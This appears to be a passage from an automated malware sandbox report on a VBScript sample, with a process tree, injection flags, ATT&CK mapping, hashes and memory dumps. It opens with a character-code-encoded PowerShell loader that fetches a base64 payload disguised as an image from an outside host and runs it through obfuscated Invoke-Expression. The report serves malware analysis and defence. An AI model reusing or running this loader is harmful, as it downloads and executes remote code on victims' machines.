112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,100,114,111,112,109,98,46,99,111,109,47,102,105,108,101,115,47,55,49,56,51,56,51,98,98,49,50,99,55,100,50,54,55,50,101,98,54,55,97,54,102,98,55,49,98,48,51,57,53,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($38487558589393948578389292983848555)|I`E`X
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1836

C:\WINDOWS\syswow64\calc.exe
"{Path}"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1264

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Client.vbs
MD5
a85bb27f28f7557c43e5815816853b58

SHA1
c08058804d9a73d4b07b60c07112c4440dbddf65

SHA256
ecb737a59c4b4adcbb6f8b00b91ffa30cb0aec107dbf32a7b38e485213518611

SHA512
4df9d06c6806d4bf82dfd6003f2b20ca6fc6221e4ab1366a78679ab60efa3560c873c5827393e8e186ee5a59ae7af0e57b23e7cbd5c8c5ab25a336829bd8cde2

Download Submit
memory/948-54-0x0000000072311000-0x0000000072314000-memory.dmp

Filesize
12KB

Download
memory/948-55-0x000000006FD91000-0x000000006FD93000-memory.dmp

Filesize
8KB

Download
memory/948-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/948-57-0x0000000075601000-0x0000000075603000-memory.dmp

Filesize
8KB

Download
memory/948-85-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1264-78-0x0000000000250000-0x0000000000264000-memory.dmp

Filesize
80KB

Download
memory/1264-73-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1264-77-0x0000000000980000-0x0000000000C83000-memory.dmp

Filesize
3.0MB

Download
memory/1264-75-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1264-74-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1384-84-0x0000000007B40000-0x0000000007C2C000-memory.dmp

Filesize
944KB

Download
memory/1384-79-0x0000000006FF0000-0x0000000007161000-memory.dmp

Filesize
1.4MB

Download
memory/1836-64-0x0000000002842000-0x0000000002844000-memory.dmp

Filesize
8KB

Download
memory/1836-62-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp

Filesize
11.4MB

Download
memory/1836-70-0x000000000286E000-0x000000000286F000-memory.dmp

Filesize
4KB

Download
memory/1836-71-0x000000000286F000-0x0000000002870000-memory.dmp

Filesize
4KB

Download
memory/1836-68-0x0000000002872000-0x0000000002874000-memory.dmp

Filesize
8KB

Download
memory/1836-69-0x0000000002871000-0x0000000002872000-memory.dmp

Filesize
4KB

Download
memory/1836-66-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download
memory/1836-72-0x0000000002874000-0x0000000002875000-memory.dmp

Filesize
4KB

Download
memory/1836-65-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/1836-61-0x000007FEFB771000-0x000007FEFB773000-memory.dmp

Filesize
8KB

Download
memory/1836-63-0x0000000002840000-0x0000000002842000-memory.dmp

Filesize
8KB

Download
memory/1976-82-0x0000000001FC0000-0x00000000022C3000-memory.dmp

Filesize
3.0MB

Download
memory/1976-83-0x0000000000910000-0x00000000009A3000-memory.dmp

Filesize
588KB

Download
memory/1976-81-0x0000000000080000-0x00000000000AF000-memory.dmp

Filesize
188KB

Download
memory/1976-80-0x0000000000A20000-0x0000000000A2D000-memory.dmp

Filesize
52KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads